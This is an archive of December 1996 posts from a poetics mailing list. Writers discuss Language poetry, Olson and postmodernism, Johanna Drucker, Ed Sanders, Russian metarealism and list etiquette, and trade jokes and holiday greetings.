Shocked to hear Nadav Savio, Mario's son, quoting from his father's letters on C-SPAN late last night (in a larger tribute to MS). These sweet bits were full of poets and poems--Dante, Stevens, "Sunday Morning," of all things. Proving we know so little of the purpose of poetry, or when it speaks, or to whom. Nadav quoted a few last lines himself, from Hopkins, in saying goodbye to his father, but by then I was really too astonished to note which ones.

Rachel Loden

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589. **Tom Mandel**
Grand Arbiter
Tue 24 Dec 1996

Stephen Vincent writes:

"Ron - either by statement or silence - in my limited experience of this list appears to assume and play "the grand arbiter" without much humility -- and that's not to say he's without knowlege, intellegence, sometimes humor etc. However Ron's approach can come off as a policing ploy designed to separate the grown fish from the minnows - proven poets from the new ones, already legitimate or emerging critics - as for example those who might provide public validation for the work of of poets he considers interesting - as different from those "non-professionals" or poets and academics offering casual opinions."

Oy, I can see a huge brouhaha coming. I could not agree less with this statement by my old friend Steve about my other old friend Ron.

Actually, I thought *I* was the Grand Arbiter. Perhaps I'll tell a story on myself, and it will deflect the future.

A few of you on this list -- not many, lucky you -- are old enough that the subject of "aging" no longer evokes wine or cheese but one's own body or what's left of it. At least those will probably have noticed a recent spate of articles in the mass media on "anti-aging" technologies. In particular, it was the cover story in a recent Newsweek which I browsed at my local Crown Books while sipping my daily 2pm Starbuck's capuccino which gon' carry me to my grave.

According to the article, some men my age are injecting growth hormone, sticking testosterone patches on their skin or ingesting a substance called DHEA which latter is an extract of the adrenal gland (whose I did not notice). All of these increase the angle of your erection (I swear that is what the article said), thicken your hair and in general do all manner of fab stuff... according to the Newsweek cover story.

As I walked to my car, chuckling at this only-in-America confab of vanity, utopianism and puritanism (age is a disease), I passed a "health food" store, and in its window were a biiig sign: "DHEA -- mother of all hormones: buy it here." Looking both ways, to make sure no contemporary espied me, I dashed in and bought myself a jar of DHEA pills. What the hell, right? I've tried a lot stronger stuff, right? I've *lived on* stronger stuff, right?

I began to give myself a dose in the lower range of what was recommended on the small print on the jar which I was able to read with the aid of my dimestore reading glasses which I have to replace quarterly with the next stronger set.

Subtly, then not so subtly after a few days, I did experience a change. I found it impossible to sit at a red light without cursing it, I found myself repeatedly disagreeing with almost everyone around me, I had a number of blow-out yelling sessions with business associates, I flamed left and right, and I found a reason at least 3 times daily to have a fight with Beth Joselow to whom I'm married. Nearly everything I read seemed stupid. Etc.

It took me about three weeks to connect the DHEA with these experiences. Wiping the foam from my mouth one evening I threw the jar in a waste basket. In about 5 days I was back to my previous state. (Alas, I forgot to measure any angles, so no datapoints on really significant issues emerge from my experiment on myself)

A week or so after this, I was on the phone with another old friend who now lives in L.A., Ethan Feinsod, whom I've known for many decades. In detail, I recounted to Ethan my experiment with DHEA and its effect on me, namely to render me an intolerably arrogant asshole. "Oh my God," Ethan replied, "that stuff is the fountain of youth! I'm going to run out and get some. That's *exactly* what you were like in your twenties."

Lets not interpret each other's intentions in ways that render master/slave narratives on this list. It's really not a likely story, and it creates heat not light. Much light, as we know, still needs unveiling. Poetry, to use a parable I've often evoked, is an absolute monarchy in which everyone is king. No subjects.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

590. **Ward Tietz**

Re: "sPliTtInG," Creeley vs. Greeley, etc.

Tue 24 Dec 1996

Ron,

You make some very stimulating points. It seems to me though that the "what is language?" question as you characterize it is a recipe for exclusion. It's a linguistic question taken up as a literary question, but one that only structural linguistics is allowed to answer. In answering it agrees, more or less, that language, and then literature, is some kind of text, which an aesthetic can then demonstrate. Once characterized in this manner, as you point out, other forms

would seem "away from the work" etc. since they would appear to be formally and materially other, not literary, not of language etc.

So for me, I would say, yes Language poetry does in fact effect a split. Whether we need the split or not, I don't know.

As they say in this part of the world, "Bonnes Fetes."

Ward Tietz

↑ Index

591. **Chris Stroffolino**
Re: N/O
Tue 24 Dec 1996

Is it "N/O" or N/O
Are they NOH plays or NO plays?
Who is in the know?
Only those who are in the no.
(oh N/O, sounds like bad Merwin)...
I don't know if there'll be snow....
and what the hell is "goodies"
as in "toys and goodies"---
    signed, scrooge or stooge

↑ Index

592. **Charles Alexander**
Re: Grand Arbiter
Tue 24 Dec 1996

> *Lets not interpret each other's intentions in ways that render master/slave narratives on this list. It's really not a likely story, and it creates heat not light. Much light, as we know, still needs unveiling. Poetry, to use a parable I've often evoked, is an absolute monarchy in which everyone is king. No subjects.*
>
> *Tom Mandel*

amen

& I thought i was "a" grand arbiter, too

Everybody has a personality, nobody has a police -- at least not here. I too am a friend of Ron's, and I think he's a very smart guy with strong opinions. But I don't hear him policing anybody. In fact I think he likes a good discussion, even argument, as well as the next list-server.

charles

↑ Index

593. **mgk3k**
excursus on Johanna Drucker
Tue 24 Dec 1996

As someone who's been immersed in Johanna Drucker's work for a while now, I think I understand what Ron Silliman means when he says that, "her attention has not been linguistic, as such, but around and beyond." Still, I'm not sure that this is accurate even at the level on which intends it, which I take to be something like, "the focus of the work is not the play of language on language but rather language's correspondence with other textual elements (primarily visual and tactile)."

Drucker has, however, written several prose works including _Italy_ and most recently the novella _Dark Decade_. Both are illustrated, it is true, but here I think the illustrations are largely illustrative, and the text is directed toward language as a written event; this is true of _DD_ especially, which seems to me very much about recuperating language from the dominant cants of media-speak.

I would also argue that Drucker's _corpus_ more generally is less about circumventing the linguistic, navigating "around and beyond" it, then it is about exposing the means, both historical and phenomenological, by which language comes to be seperated from its visible and material forms. In _The Word Made Flesh_, for example, the text generates considerable linguistic energy from the various syntactical arrangements culled from its spatial array of letter-forms; even, I would argue, to the extent of a plot, in some very rudimentary sense. Or to take an example of another sort, in the _Visible Word_, one of her critical studies, Drucker identifies 19th century academic philology as the most dramatic instance of language's artificial separation from its visual forms, and traces the rise of that discipline to the role of the Rosetta stone in deciphering the Egyptian hieroglyphics, an achievement which rendered the visual and visible forms of the hieroglyphics irrelevant as they were no longer _seen_ as potential keys to linguistic meaning.

I do agree with Ron, however, that Drucker is underappreciated; certainly in mainstream academic circles she's quite unknown, or known only for her several (impeccable) critical studies. I've found only a handful of secondary studies of the book art and other creative productions, including several by Perloff. I'd be grateful to hear from others with an interest in this work.

--Matt

========== Matthew G. Kirschenbaum

University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

↑ Index

594. **steph4848**
Fwd: warsh/mayer/domestic
Tue 24 Dec 1996

I take the liberty to forward Jarnot's informtional post to the list since she's having trouble getting it thru the usual channel.

Forwarded message:
From: [redacted]
To: [redacted]
Date: 96-12-20 17:54:20 EST

stephen-- i've been posting this to the list, but it's not showing up, so I thought I'd send it to you. best, lisa

re: simon shuchat's and stephen vincent's posts on Midwinter Day-- the journal kept by Lewis Warsh and Bernadette Mayer while they lived in Massachusetts was called "Piece of Cake" and it was never published, partly because of the personal nature of the work (references to friendships, etc.)-- it definitely deals with the domestic, but not specifically with Bernadette's pregnancy-- it's a text where Bernadette and Lewis alternate journal entries. The work that Lewis was doing at that time was not exactly a parallel experience text-- he was writing the novel Agnes and Sally (Fiction Collective publication), parts of which take place in a small New England town. His book of poems Information from the Surface of Venus also addresses that time period (published by United Artists books).

lisa jarnot

↑ Index

595. **Victor Grauer**
midnight clear
Tue 24 Dec 1996

Thought I'd tender the following as a Xmas "gift" to all on the list. Enjoy.

"It is clear to all -- enjoyment bears witness to this -- that a good poem is one where nothing is left over, where all the phonemic material in use is consumed; and that, on the other hand, a bad poem (or 'not-poetry-at-all') is one where there is a remainder, where not every significant phoneme, diphoneme, syllable or term has been seized by its double, where not every term has been

volatilised and consumed in a rigorous reciprocity (or antagonism), as in primitive gift exchange, where we feel the weight of the remainder that has not found its corresponding term, nor therefore its death and absolution, which has not been successfully exchanged in the very operation of the text: it is in proportion to this residue that we know that a poem is bad, that it is the slag of discourse, something which has not exploded, which has been neither lost nor consumed in the festival of reversible speech."

. . .

" . . . it is clear that the unrestrained freedom to use phonemes in unlimited number for purposes of expression, without the reverse processes of cancellation, expiation, reabsorbtion or destruction (it does not matter which term), is radically opposed by the simple law announced by Saussure, that in poetry a vowel, a consonant or a syllable cannot be uttered without being doubled, that is to say, somehow exorcised, without fulfilling itself in the repetition that cancels it."

Jean Baudrillard

Happy Holidays,

Victor Grauer

↑ Index

596. **aerialedge**
Re: list dynamics
Tue 24 Dec 1996

Felice Navidada

↑ Index

597. **George Bowering**
Re: Sanders
Tue 24 Dec 1996

> *But right now I am listening to a CD stuck in my Mac, Pharoah Sanders playing heartbreaking standard ballads like Coltrane once did, an eerie imitation.*
>
> *but who knows where or when? what's the disc?*

This is "Welcome to Love", from Timeless, which is a Dutch company, recorded in France 1990, produced by some Japanese people. Stafford James on bass, Bill Henderson on piano, Ecclestone Wainwright on drums.

Very smooth; a conscious imitation of Coltrane's album, "Ballads."

> *(I've had my negative reactions to Pharoah Sanders, but still)*
> *(I've had my positive ones too!)*

I have had a few reservations abt Pharoah, but he was a gink I liked right off; there was a bad time when he was playing Krishna-meditation-coriander stuff and getting played on the rock stations around 1970. But I heard him at Slugs' around then and he was great. Earlier he was moonlighting in Jersey as a Latino music player and even as a rock pl;ayer, and I have some of that stuff, only for documentation.

But he is one of the great young ones, with Archie Shepp, etc. of the sixties who got "raised" to a big label, mainly ABC.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

598. George Bowering
Re: "sPliTtInG," Creeley vs. Greeley, etc.
Tue 24 Dec 1996

> *When LZ died, he was sketching out the details for a sequence to be called 90 Trees. Rumor had it there was to have been another series beyond that, 101 Dalmatians.*
>
> *Ron*

Louis Fournier, the up and coming Quebec poet, has a piece called "23 Skidoos"

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

599. George Bowering
Re: Grand Arbiter
Tue 24 Dec 1996

> *Everybody has a personality, nobody has a police -- at least not here. I too am a friend of Ron's, and I think he's a very smart guy with strong opinions. But I don't hear him policing anybody. In fact I think he likes a good discussion, even argument, as well as the next list-server.*
>
> *charles*

I have to concur. I have never met Ron, as far as I know, unless he was the kid with the yoyo behind Robt Duncan on 20th, I saw one day in 1962.

But I like his not really abrasive wit here. And I loved that flaming gag that was going on abt him last year, and I think he did too.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

600. George Bowering
Re: list dynamics
Tue 24 Dec 1996

> *Felice Navidada*

y

Joyeaux Novel

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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601. **Alan Jen Sondheim**
Interlude in Tonides
Wed 25 Dec 1996

Christine, I had a dream that we were driving through
Tonides and in
Tonides we almost divided against the fast car, that
Tonides was a why, McCarthy formalism, that if
Tonides, then _come_ else _go,_ or that if
Tonides, everything's beautiful and in this
Tonides dream, I asked only "whose decision," for
Tonides' beautiful impunity, where there were spined

and other plants to wear brown aureoles
upon the brow, the hair, the shirt, the oracular arm
for luck of whatever sort Tonides might bring,
for luck of whatever sort Tonides might bring.

↑ Index

602. **Aldon L. Nielsen**
Re: An _"A"_ for the holidays
Wed 25 Dec 1996

except in parts of France, where it is _<<A>>_

and in Spain, where --- well, it seems this keyboard can't do that!

↑ Index

603. **Aldon L. Nielsen**
Re: Tristan/Olson
Wed 25 Dec 1996

Tried to post this days ago but couldn't get through --

I have the full fun of the _Olson_ journal in my office in San Jose, but I'm in DC now -- If you haven't gotten the article by mid-January, when I go back to California, I'll be happy to xerox it for you -- let me know

↑ Index

604. **George Bowering**
Re: An _"A"_ for the holidays
Wed 25 Dec 1996

I iterate.

You mustnt take the A train.

You must take the "A" Train!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

605. **main**
ed sanders
Wed 25 Dec 1996

anyone know if and where sanders defines the theories and methods of his "investigative poetry," outside of the poetry itself?

feel free to back-channel.

thanks,
dan featherston

↑ Index

606. **robert drake**
Re: ed sanders
Wed 25 Dec 1996

> *anyone know if and where sanders defines the theories and methods of his "investigative poetry," outside of the poetry itself?*
>
> *feel free to back-channel.*
>
> *thanks,*
> *dan featherston*

that would be _investigative poetry_, published by city lights in 1976 (a 40 pg. chapbook, my copy sez $2.00). the cataloging info includes: "a lecture prepared for the Visiting Spontaneous Poetics Acadamy of the Naropa Institute in

Boulder, Colo., in the summer of 1975"... [quick run to partner's bookshelf downstairs]... a similarly titled essay also appears in Vol. 2 of _talking poetics from naropa institute_, tho i'm not sure if that version is th same... greetings, dan.

yrs
luigi

↑ Index

607. **Ron Silliman**
On meeting G Bowering
Thu 26 Dec 1996

>I have to concur. I have never met Ron, as far as I know, unless he was the
>kid with the yoyo behind Robt Duncan on 20th, I saw one day in 1962.
>

>George Bowering.
> ,
We met at the Vancouver Poetry Conference that Colin Browne et al put on in 1985. You were acting a lot like Tom Mandel in his 20s.

Ron

↑ Index

608. **henry**
Re: Russian postmodernism
Thu 26 Dec 1996

Kent, I've read "Third Wave" - belated congratulations on a remarkable anthology. I found M. Epstein's essay there very interesting & will take a look at the book you mention. Although I was a little skeptical of the almost too-neat categories he developed for contemporary Russian poetry, the parallels he drew between current movements & the various strands of early 20th-cent writing (Acmeism, Futurism) are intriguing.

As I tried to make clear in the first post, I'm not really qualified to get into these subjects in much depth, not knowing Russian & being only slightly informed about a few poets. I was responding in particular to the poets I heard & met at Hoboken, where I was struck by the variance between US & Russian approaches. But as "Third Wave" demonstrates, there has been a lot of crossover & interaction in the 90s between some "experimental" US poets (some of whom were at Hoboken) & SOME varieties of Russian practice. The "provocative" (tendentious?) aspect of my first post involved not so much my

comments on the variance in practice between the 2 poetries, as in the way I tried to link that with even larger & murkier subjects (romanticism, modernism, postmodernism ...miasmaism...) - Henry Gould

↑ Index

609. **henry**
Re: Winter or not to winter
Thu 26 Dec 1996

On Tue, 24 Dec 1996 08:28:14 -0500 Michael Boughn said:
>I guess, Henry, it depends on how you think of--yikes, dare I say
>it--"postmodernism". Do you consider Olson to have written under this
>rubric, and those who continue to labour quietly in that vein? I think
>of Robin Blaser's decription of Jack Clarke's work as stepping around
>the "pile-up of postisms", of being "just plain after the modern and
>at work", or words to that effect. Certainly Olson's push was toward
>what you are calling the "pre-modern" I think, and Clarke's work, as
>it carries that work "forward" never forgets that for a moment.

I can only display my ignorance by responding - I know there are others here that can enlighten. It could be & has been argued that Olson inaugurated "postmodern" US poetry. In my own clumsy sense of these "isms", this is unclear. i.e.: Modernism as a movement in the arts replaced Romanticism (& Victorian post-Romanticism) in the following way: the Romantic Absolute (its version of God) was displaced onto the artwork itself. The artwork became a kind of Janus-faced idol/ideal THROUGH WHICH & by means of which any conclusions could be drawn - the artwork became the scripture of the extra-literary or extra-artistic cosmos. POSTMODERNISM (as the critics have defined it?) debunked this last idolatry. The artwork was only self-referential, has no intrinsic connection to exterior world.

Olson, it seems to me, critiqued the great works of modernist poetry (Pound in particular) as blinkered by aestheticism. The "poem" was a life-process, more a documentary "script" than scripture. In a lot of ways it seems to me he was not opposing modernism as "postmodernist" critics do, but building on it - building on Pound by trying to load MORE self, more history, more of the unprocessed "real" into his epic. & maybe this is, as you say, "pre-modern" too.

On vodka & the Absolute - see F. Dostoevsky's novella "Seeing Double" on the "morning after" and the predicament of the existential hangover. - Henry Gould

↑ Index

610. **Pritchett,Pat**
Re: ed sanders
Thu 26 Dec 1996

Ed has a marvelous essay on "method," the title of which escapes me now, in the recent Naropa anthology _Disembodied Poetics_.

Patrick Pritchett

From: main
To: POETICS
Subject: ed sanders
Date: Wednesday, December 25, 1996 7:47PM

anyone know if and where sanders defines the theories and methods of his "investigative poetry," outside of the poetry itself?

feel free to back-channel.

thanks,
dan featherston

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611. **wheeler**
Query
Thu 26 Dec 1996

I have been looking at instances of writers' consistent "misusing" specific words -- either deliberately or with the (reader's) sense of a blind spot. Any come to mind? I'd appreciate hearing. Thanks & season's hoopla.

Susan Wheeler
37 Washington Square West #10A
New York, New York 10011
[redacted]

↑ Index

612. **henry**
Re: Query
Thu 26 Dec 1996

Susan, this may not be exactly what you're looking for, but Lee Edelman wrote an interesting book on Hart Crane's rhetoric called _Transmemberment of Song_ (Stanford UP, 1987. isbn 0804714134). She analyses his work through the lens of a set of tropes characterized by intentional distortions - links it up to

the engineering theme in The Bridge (literally twisting it into shape). Can't recall the name of the major trope.... sheesh... help, anybody? It's a trope of exaggeration, distortion, etc. & while you're onto Crane, Paul Giles's book "Hart Crane: the Contexts of the Bridge" (Cambridge UP, 1986) has an incredible run-through on double meanings & puns in The Bridge.

"Cheerios", Henry

↑ Index

613. **George Bowering**

Re: On meeting G Bowering

Thu 26 Dec 1996

> *I have to concur. I have never met Ron, as far as I know, unless he was the*
> *kid with the yoyo behind Robt Duncan on 20th, I saw one day in 1962.*
>
> *George Bowering.*
>
> *,*
> *We met at the Vancouver Poetry Conference that Colin Browne et al put on in 1985. You were acting a lot like Tom Mandel in his 20s.*
>
> *Ron*

Oh yeah! I remember that time. Town got full of L= poets, and someone gave me hell for PC reasons I think in a dictated poem I read at the time. I think it was probably Bruce Andrews. One of the locals had to be stopped from popping him one at a party at Gladys Hindmarch's.

Hey, you mean Mandel is out of his twenties?

Oh, by the way, Ron, I have been meaning (in a friendly way, absolutely) to point out that in that useful early book _The New Sentence_, Harry Mathews's name is spelled wrong on p. 14 and in the index.

Glad I got some e-mail this Boxing Day. It is record cold outside, about 10 below or worse (I dont know what that is in US degrees), and if I didnt have e-mail to do (called enamel in French, you'll remember) I would have to go to the store and get cigarettes for most of the women in the house.

Nice to hear from ya. If you see Bromige tell him I will answer his letter when I figure out what he was saying. He answers his e-mail only when he has been in his cups.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

614. **George Bowering**
Re: Winter or not to winter
Thu 26 Dec 1996

> *Olson, it seems to me, critiqued the great works of modernist poetry (Pound in particular) as blinkered by aestheticism. The "poem" was a life-process, more a documentary "script" than scripture. In a lot of ways it seems to me he was not opposing modernism as "postmodernist" critics do, but building on it - building on Pound by trying to load MORE self, more history, more of the unprocessed "real" into his epic. & maybe this is, as you say, "pre-modern" too.*
>
> *- Henry Gould*

Also this. The Modernists all seemed to be finding some way to wrap the classical world into our sensibilities. But Olson, no Greek, had not th'advantage, demanded something that went back before that, the famous Pleistocene.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

615. **George Bowering**
Re: Query
Thu 26 Dec 1996

> *I have been looking at instances of writers' consistent "misusing" specific words -- either deliberately or with the (reader's) sense of a blind spot. Any come to mind? I'd appreciate hearing. Thanks & season's hoopla.*
>
> *Susan Wheeler*

Yep, I often read (in the most surprising places) the use of "fulsome" to mean large, encompassing, complete, etc.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

616. **Gwyn McVay**
Re: N/O
Thu 26 Dec 1996

I don't n/o, Chris, but those N2O plays are a gas.

On Tue, 24 Dec 1996, Chris Stroffolino wrote:

> *Is it "N/O" or N/O*
> *Are they NOH plays or NO plays?*
> *Who is in the know?*
> *Only those who are in the no.*
> *(oh N/O, sounds like bad Merwin)...*
> *I don't know if there'll be snow....*
> *and what the hell is "goodies"*
> *as in "toys and goodies"---*
> *signed, scrooge or stooge*

↑ Index

617. **Chris Stroffolino**
FALLING IN LOVE (JUST SAY NOH)
Fri 27 Dec 1996

I NOH this may not be the best place to ask this, but then I NOH not what I Dew (forgive me)---
so, HAROLD BLOOM is running around saying that Rosalind's
use of "falling in love" was the first use of that phrase in
the english language--or at least english literature....
Does anybody NOH is he's right about this? I used to think
the BUZZCOCKS were the first to use it. Now, what did people do B4 Sx (i don't mean sex) coined that phrase, if indeed she did coin that phrase? did they mention your name,
twirl round on a chain? did the sky open up for you?---
c. stroffolino

↑ Index

618. **henry gould**
Re: Winter or not to winter
Fri 27 Dec 1996

On Thu, 26 Dec 1996 14:52:23 -0800 George Bowering said:
>
>Also this. The Modernists all seemed to be finding some way to wrap the
>classical world into our sensibilities. But Olson, no Greek, had not
>th'advantage, demanded something that went back before that, the famous
>Pleistocene.
>

Am reading Russian critic Mikhail Epstein's new book, _After the Future_ & would recommend it highly. Among other things it has a revised version of the essay that appeared in the _Third Wave_ anthology of new Russ poetry Kent Johnson mentioned. In preface he talks about how every interesting "advance" in cultural history is always a step back & forward at same time - that culture is actually a kind of "machine" for transcending clock-time. & in "postmodern times we go further & further back into archaic & further into techno-future, there is actually no "present" - & that this has ALWAYS been a peculiar characteristic of Russia - past & future at loggerheads with no livable "present". Epstein's _Third Wave_ essay, with its analysis of poetic rival networks in Russia & its opposition of "culture" to the social binds of ideology (power) & the ideological binds of society - could be compared interestingly with Jeff Hansen's Witz essay ("Anarchy & Culture"). They both have positive things to say about literary schools & networks as necessary & vitalizing influences - but the word "culture" has opposite positive/negative value. For Epstein, "culture" is the hopeful, transcendent, life-giving force, challenging the lowest common denominators of cliche. For Jeff, "culture" is the opposite - stands for convention. "Anarchy" is closer to Epstein's "culture" (though Jeff makes clear it's all on a continuum between the 2).

Russ & US have always had VERY different responses to "tradition". I have felt for a long time that US poets could learn something specifically about poetics & poetic technique from the Russians. Across the spectrum of their "schools" (as Epstein classifies them), there is a different expression of the concept, the conceptual, the allusion, the traditional. How is it different? In a nutshell: western poetries often seem like a wasp in a bottle - techniques oppose techniques, all within the closed circle of craft. The Russians, acclimatized to over-conceptualization of EVERYTHING, have "naturalized" poetry to the general conversation of culture at large. Concept, tradition, technique, poetry,

culture, & history have a closer organic knit in which everything relates to everything else.

This may be a myth - balderdash - but I believe it's productive balderdash. An infusion of the "Russian" might actually help integrate concept/ allusion/tradition/reference/style. I know this is all very artificial - but I'm talking about getting beyond, say, the simple binary oppositions displayed in talk about langpo "opacity" and (apex of the M, for ex.) "transparency" of reference. (I also realize that these are trivial side issues for most "working" poets. Oh well. I'm woikin' too.)

They're all at MLA, so I can blab all I want to... - Henry Gould

↑ Index

619. **henry gould**
Re: FALLING IN LOVE (JUST SAY NOH)
Fri 27 Dec 1996

NOH, Chris - they began by whispering HON.

- Henry "KingBee" Gould

↑ Index

620. **Pierre Joris**
Re: Tom Meyer
Fri 27 Dec 1996

Ron & Kent,

t'was me mentioned Tom Meyer & glad to learn about the New Orleans Review. Will look it up. Ron -- it was Bard College, indeed, though I believe Jonathan came before Tottel's, as Tom met JW at Bard in the late sixties, if memory serves. I remember that when I met Tom, Sept/Oct '67 at Bard, he had already been working on the Technographical Typography in Process for a year or so. When he showed me the black spring binders with that work, I was in total awe: my still-European concept of small/absolute poetic gestures a la Rimbaud & Mallarm﹡ was blown away by this strange american praxis of writing daily for a set number of hours on that era's most awesome machina, the IBM golfball. If later on he abandoned that text, I don't think he discarded it -- I seem to remember that the last time we spoke he was rather fond of that early work. The two little mags in which he published extracts from TT(besides Tottle's) that readily come to mind were The Lampeter Muse & Caterpillar. BTW a good essay (& there are very few anyway) on Meyer's work bic Mottram came out in 1985 from Reality Studios as RS Occasional Paper # 2 . Ken Edwards could tell us if it's still in print. The latest works by Tom I have seen

are "Fourteen Poems" (1989, French Broad Press) & "Tom Writes This For Robert To Read" (n/d St. Lazaire Press -- tho I know it is also from the late eighties).

Pierre

& a Noyeux Joel to everyone in listland

Ron Silliman wrote:
>
> Kent,
>
> That wasn't me who was generously praising Tom Meyer, although it
> certainly could have been. My little zine in the 70s, Tottel's, was
> publishing Tom even before Jonathon Williams ever met him. In fact,
> Tottel's was one of the few publications to print an excerpt from Tom's
> 800+ page poem called Technographic Typography, written more or less
> continuously while he was a student at Bard (or was it Tufts?). Anyway,
> Tom abandoned the project and I think may even have discarded the text,
> but I've always liked it, both the idea and the act of it, and am
> wondering if anybody on the list knows of a better source of more of it
> (I know, for example, that some other little mags ran excerpts, but
> cannot remember which ones or where).
>
> Ron Silliman
>
> >Date: Sun, 22 Dec 1996 19:42:12 +0600
> >From: KENT JOHNSON <[redacted]>
> >Subject: Tom Meyer
> >
> >I joined the list about two weeks ago-- my first post. I
> >noticed a few days back that Tom Meyer's name came up in a discussion
> >of neglected writers. I think it was Ron Silliman who called in to
> >generously praise his work.
> >
> >I thought I'd tell folks that the forthcoming issue of The New Orleans
> >Review (Vol.22, #3-4) will have a special section on Meyer, including
> >an introductory essay by Forrest Gander entitled "The Inflorescence
> >of Variety." The magazine has a web site, but I don't have the
> >address.
> >
> >Good holidays to all.
> >

> >Kent Johnson
> >

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Reality is escape. The rusty junk
of fervent highways soothe the mind
into self-consoling slumber. The real
real is intimate, hard to find,
locked & released at once in thought,
beyond the touch of poignant imagery.

Robert Kelly ⁇ Ode 16
==========

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621. **Michael Boughn**
Re: Winter or not to winter
Fri 27 Dec 1996

> *This may be a myth - balderdash - but I believe it's productive balderdash. An infusion of the "Russian" might actually help integrate concept/ allusion/tradition/reference/style. I know this is all very artificial - but I'm talking about getting beyond, say, the simple binary oppositions displayed in talk about langpo "opacity" and (apex of the M, for ex.) "transparency" of reference. (I also realize that these are trivial side issues for most "working" poets. Oh well. I'm woikin' too.)*
>
> *They're all at MLA, so I can blab all I want to... - Henry Gould*

Yeah, it's fun, eh? Alone in the candy store . . .

I, personally, Henry, would have an easier time with your proposal if it were more specific in terms of the poetries it's addressing. I suspect, from what you've written here, that underneath this is an identification of the "postmodern" with a very narrow range of writing, and so I find myself mentally marshalling counter-examples: Dorn and the mock-epic, Olson and Clarke and the epic, any number of writers and the sonnet sequence, etc. But that's the trouble with this vocabulary and its slippery signifiers (altho I just love slippery signifiers, especially in the bath).

For Olson on the premodern, by the way, reread "The Gate at the Center".

None of this is to argue with your assessment of the Russians, only to complicate the binary you've set up between the Rooskies and the Americans. I'm looking forward to reading your Witz essay for more info.

Mike
[redacted]

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622. **henry**
Re: Winter or not to winter
Fri 27 Dec 1996

On Fri, 27 Dec 1996 11:09:38 -0500 Michael Boughn said:
>
>I, personally, Henry, would have an easier time with your proposal if
>it were more specific in terms of the poetries it's addressing. I
>suspect, from what you've written here, that underneath this is an
>identification of the "postmodern" with a very narrow range of
>writing, and so I find myself mentally marshalling counter-examples:
>Dorn and the mock-epic, Olson and Clarke and the epic, any number of
>writers and the sonnet sequence, etc. But that's the trouble with this
>vocabulary and its slippery signifiers (altho I just love slippery
>signifiers, especially in the bath).

Yes, I'm being intellectually irresponsible as well as obtuse (you didn't say that, but I'm saying it). One, by trying to project a set of private & personal predilections as if it were reasonably thought-out (i.e. my overly narrow & boundless admiration for a few Russ. poets, not even contemporary, is translated into a "program"). One might as well say, how about an infusion of "French"? "Malaysian"?

Confession is the best defense. But I will persist in my folly. The current, productive state of Russian poetry can act like a mirror. Distance simplifies. (Why simplify? I'm always oversimplifying. Because I'm looking for a metapoetics - an alternative to the metapoetics of Language Poetry, and that of the NY "school", and that of the loosely so-called Olson-Oppen-Creeley-BlckMtn et al. "school", and all the other schools. I'm starting my own school.)

& the closest poetics to what I'm looking for - in my own work & any affinities thereby - is found among the Russ. poets categorized by Mikhail Epstein as "metarealists" (or somewhere between them & his neo-Acmeists (my own term).

I don't have the energy to replay all that Epstein says about them, or their counterparts the Conceptual poets & the neo-Acmeists. Suffice it to say they do

not deny East-Western spiritual/cultural tradition, but look for its re-embodiment & re-integration in the interstices of the ordinary present-day - which is actually NOT ordinary, ie. "reality" is multidimensional - much as in CS Peirce, the unseen, the general, the abstract, the spiritual, are also real & integrated with the material. They discover the re-embodiment of the mythical & eternal. Epstein relates the rhetorical trope of "metabole" to them - what he calls a third mediating trope after metaphor & metonymy. It's not similarity by likeness or contiguity - it's unity - oneness - commonality. The forest is not LIKE a production factory: in the poetry they are REALLY one. Metabole : metabolism. (but shd check the original.)

What attracts me to this group of poets? Conceptual art, either Russian or western - which is GREAT & which subsumes a lot of what's going on in experimental writing - intellectually demystifies & cleanses & activates & ironizes & defamiliarizes - & this is the right role, as Epstein points out, for self-conscious cultural work. But it does not INTEGRATE. I want a NEW poetry which finds the roots of world & perennial poetry - which integrates the objective, the symbolic, the lyrical, the spiritual, the mystical, the literary, the traditional, the mythical, the critical, the ironic, the historical, the etc. What allows a poetics like that of the Russ. "metapoets" to integrate experience is the fact that it is grounded in a foundation of philosophical realism - ie. the conceptual is the real - which is not materialist but closer to the transcendental. It is this grounding which allows the old to be re-lived, anew. (Shd mention, though, that Epstein does argue for an "integral" element in purely conceptual work - a kind of "negative theology" - as in the chance operations with cliches & slogans of a Lev Rubinshtein, the repetitive recital of which approaches a kind of humble/Buddhist emptying of verbal deadness.)

- Henry Gould

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623. Jordan Davis
Five times forever and you'll never get lost
Fri 27 Dec 1996

Why is aestheticism a blinker?
Do you all ride horses or something?

Wastin' your time,
Jordan

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624. **Henry Gould**
Re: intentional misuse
Fri 27 Dec 1996

Susan - Dan Featherston was kind enough to let me know - the rhetorical trope in the Crane book by Edelman is "catachresis". - Henry

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625. **Henry gould**
Re: metarealism
Fri 27 Dec 1996

Afterthought about the Mikhail Epstein book - it would be a misrepresentation of his thinking to say he values the "metarealists" over the "conceptualists". Far from it. For one thing, Epstein closes with remarks about the continuum of approaches - the "acmeists" of today - running between these 2 poles. More importantly, he makes a strong case for avant-garde & conceptual art as a truly "religious" expression - as opposed to worldly & conservative traditionalism - in an apocalyptic, millenial age which dissolves tradition along with the rest of the whole physical world. He points to an affinity between avant-garde anti-art & the tradition of the iconoclastic, anti-establishment holy fool - a "poor art".

